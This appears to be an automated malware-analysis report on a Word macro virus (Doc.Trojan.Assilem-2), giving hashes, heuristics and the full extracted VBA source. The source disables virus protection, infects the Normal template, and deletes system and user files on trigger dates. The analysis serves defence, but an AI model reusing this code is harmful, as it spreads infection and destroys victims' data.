Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 db907983ac45e2b2…

MALICIOUS

Office (OLE)

40.0 KB Created: 2001-06-27 07:47:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: 9caf990bc236f7f1f08b16823f465c29 SHA-1: 63883e2d7bbab66ee023758e4e9b35640371666c SHA-256: db907983ac45e2b2b4acf9775e042cd76da7c2ce03f4916a9f9727cf2a9c223f
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains VBA macros, specifically a Document_Open macro, which is designed to disable virus protection and modify the Normal template for persistence. The macro attempts to infect the Normal template and the active document with its code. The presence of the 'Doc.Trojan.Assilem-2' ClamAV detection further supports its malicious nature.

Heuristics 3

  • ClamAV: Doc.Trojan.Assilem-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Assilem-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10373 bytes
SHA-256: 01da522f096bedeee396737a0ba47b175d77c692af2b561f1a2d3c08a29199af
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "QNC"
Attribute VB_Base = "1Normal.QNC"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
'########## QNC in TaiWan 2000.1.1 #############
On Error Resume Next
With ActiveDocument
    .ReadOnlyRecommended = False
End With
With Options
    .BackgroundSave = True
    .AllowFastSave = True
    .SavePropertiesPrompt = False
    .SaveInterval = 1
    .SaveNormalPrompt = False
    .VirusProtection = False
End With
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "QNC" Then
     If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL
     Set ToInfect = ADI1
     ADI1.Name = "QNC"
     DoAD = True
End If
If NTI1.Name <> "QNC" Then
     If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL
     Set ToInfect = NTI1
     NTI1.Name = "QNC"
     DoNT = True
End If
If DoNT <> True And DoAD <> True Then GoTo CYA
     If DoNT = True Then
          Do While ADI1.CodeModule.Lines(1, 1) = ""
               ADI1.CodeModule.DeleteLines 1
          Loop
          ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
          Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
               ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
               BGN = BGN + 1
          Loop
     End If
If DoAD = True Then
      Do While NTI1.CodeModule.Lines(1, 1) = ""
           NTI1.CodeModule.DeleteLines 1
      Loop
      ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
      Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
           ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
           BGN = BGN + 1
      Loop
End If
If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then
     ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
     ActiveDocument.Saved = True
End If
CYA:
If CInt(Hour(Now)) >= 17 And CInt(Hour(Now)) <= 23 Then
   On Error Resume Next
   Kill "a:\*.*"
End If
m = CInt(Month(Now))
d = CInt(Day(Now))
If (d = 13) And (m Mod 4 = 0) Then
   On Error Resume Next
   If MsgBox("Fatal Error！Power Off Your Computer Now！！", vbCritical + vbOKCancel, "警告！") = vbCancel Then
     Dim filestring As String
     Dim Dir1, FF
     Dir1 = "c:\windows\system\"
     FF = Dir(Dir1 & "*.*", vbArchive Or vbHidden Or vbSystem Or vbDirectory)
     Do
      If (GetAttr(Dir1 & FF) And vbDirectory) <> vbDirectory Then
       If GetAttr(Dir1 & FF) = vbReadOnly Or vbSystem Or vbHide Then
          SetAttr Dir1 & FF, vbNormal
       End If
       Kill Dir1 & FF
      End If
      FF = Dir
     Loop Until FF = ""
   End If
   Dir1 = CurDir()
   If Right(Dir1, 1) <> "\" Then Dir1 = Dir1 & "\"
   Kill Dir1 & "*.*"
End If
End Sub

' Processing file: /opt/analyzer/scan_staging/99ae98f6d06c4ab18b8763b573065fa5.bin
' ===============================================================================
' Module streams:
' Macros/VBA/QNC - 8582 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Open())
' Line #1:
' 	QuoteRem 0x0000 0x002F "########## QNC in TaiWan 2000.1.1 #############"
' Line #2:
' 	OnError (Resume Next) 
' Line #3:
' 	StartWithExpr 
' 	Ld ActiveDocument 
' 	With 
' Line #4:
' 	LitVarSpecial (False)
' 	MemStWith ReadOnlyRecommended 
' Line #5:
' 	EndWith 
' Line #6:
' 	StartWithExpr 
' 	Ld Options 
' 	With 
' Line #7:
' 	LitVarSpecial (True)
' 	MemStWith BackgroundSave 
' Line #8:
' 	LitVarSpecial (True)
' 	MemStWith AllowFastSave 
' Line #9:
' 	LitVarSpecial (False)
' 	MemStWith SavePropertiesPrompt 
' Line #10:
' 	LitDI2 0x0001 
' 	MemStWith SaveInterval 
' Line #11:
' 	LitVarSpecial (False)
' 	MemStWith SaveNormalPrompt 
' Line #12:
' 	LitVarSpecial (False)
' 	MemStWith VirusProtection 
' Line 
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.